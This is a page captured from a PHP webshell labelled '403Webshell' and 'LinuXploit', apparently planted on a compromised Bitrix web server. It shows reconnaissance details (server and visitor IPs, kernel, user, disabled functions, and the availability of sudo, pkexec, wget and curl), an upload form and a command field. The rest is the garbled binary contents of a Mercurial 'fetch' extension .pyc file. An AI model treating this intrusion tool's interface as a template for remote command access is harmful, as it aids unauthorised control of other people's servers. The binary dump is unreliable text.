403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /lib64/python3.9/site-packages/hgext/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /lib64/python3.9/site-packages/hgext/__pycache__/fetch.cpython-39.pyc
a

�+�b��
@s�dZddlmZddlmZddlmZddlmZm	Z	m
Z
mZmZm
Z
mZddlmZmZejZiZe�e�ZdZedd	d
ged�ed�fd
dded�fd
dded�fd
dded�fgejejejed�ejd�ddd��ZdS)z2pull, update and merge in one command (DEPRECATED)�)�absolute_import)�_)�short)�cmdutil�error�exchange�hg�lock�pycompat�	registrar)�dateutil�urlutilsships-with-hg-core�fetch�r�revs*a specific revision you would like to pullsREV��editNs invoke editor on commit messagessforce-editors edit commit message (DEPRECATED)s
switch-parentsswitch parents when mergingshg fetch [SOURCE])Zhelpcategory�defaultc	s�t�|�}|�d�}|r&t�|�|d<�j����j��}z��|�}Wnt	j
y`d}Yn0�|kr�t	jtd�td�d��d}}�z2��
�}���}t�����|�}	�fdd�|	D�}	t|	�dkr�t	�td	���t�d
�||�d}
t��||
��|�td�t�|
��d}|d
�rhz�fdd�|d
D�}Wn(t	j�yftd�}t	�|��Yn0tj��|d�j}
|
dk�r�Wt||�dS��|�}�j��g|�d}t|�dk�rt|��r|d�k�r�t� �|d�Wt||�SWt||�dS�fdd�|D�}��|�r4|d�t�!����fdd�|D�}t|�dk�r~|�td�t|�d�Wt||�dS|�s�Wt||�dSd}|�r(|d�r��|d}}n0|d�}}|�td��j�"|�t#|�f�t�!�|��|}|�td�|�"�t#|�f�tj$|dd�}|�s�t�%||��pLdt�&��'��}|�d��pb|�d�}tj(|d
d�}�j)||d|d|d�}|�td ��j�"|�t#|�f�|Wt||�St||�0dS)!a�pull changes from a remote repository, merge new changes if needed.

    This finds all changes from the repository at the specified path
    or URL and adds them to the local repository.

    If the pulled changes add a new branch head, the head is
    automatically merged, and the result of the merge is committed.
    Otherwise, the working directory is updated to include the new
    changes.

    When a merge is needed, the working directory is first updated to
    the newly pulled changes. Local changes are then merged into the
    pulled changes. To switch the merge order, use --switch-parent.

    See :hg:`help dates` for a list of formats valid for -d/--date.

    Returns 0 on success.
    sdateNs#working directory not at branch tips'use 'hg update' to check out branch tip)�hintcs$g|]}t�|���dkr|�qS)r)�lenZchildren)�.0�head)�repo��1/usr/lib64/python3.9/site-packages/hgext/fetch.py�
<listcomp>grzfetch.<locals>.<listcomp>�sHmultiple heads in this branch (use "hg heads ." and "hg merge" to merge)rrspulling from %s
rcsg|]}��|��qSr)�lookup)r�rev)�otherrrrvrsOother repository doesn't support revision lookup, so a rev cannot be specified.)Zheads�csg|]}|�kr|�qSrr�r�n)�parentrrr�rcsg|]}|�kr|�qSrrr!)�	newparentrrr�rs[not merging with %d other new branch heads (use "hg heads ." and "hg merge" to merge them)
Fs
switch_parentsupdating to %d:%s
smerging with %d:%s
)ZremindsAutomated merge with %srsforce_editor)ZeditZeditformsuser)�editors5new changeset %d:%s merges remote changes with local
)*r
Zbyteskwargs�getrZ	parsedateZdirstateZp1�branchZ	branchtiprZRepoLookupErrorZAbortr�wlockr	rZ
bailifchangedZbranchheadsrr
Zget_unique_pull_pathrZpeer�statusZhidepasswordZCapabilityErrorrZpullZcgresult�releaseZ	changelogZnodesbetween�updateZcleanrr�mergeZ
logmessageZ
removeauth�urlZgetcommiteditorZcommit)Zuir�sourceZopts�dater'Z
branchnoder(r	Zbheads�pathZrevs�errZmodheadsZnewheadsZnewchildrenZfirstparentZsecondparentZp2ctx�messageZeditoptr%r"r)r$rr#rr�fetch&s�(




�

��
�
F
�
?
�=
��
��,
�)
�
�������
�r3)r)�__doc__Z
__future__rZmercurial.i18nrZmercurial.noderZ	mercurialrrrrr	r
rZmercurial.utilsrr
r*ZcmdtableZcommandZ
testedwithZ
commitoptsZcommitopts2Z
remoteoptsZCATEGORY_REMOTE_REPO_MANAGEMENTr3rrrr�<module>s>$	
���
���

Youez - 2016 - github.com/yon3zu
LinuXploit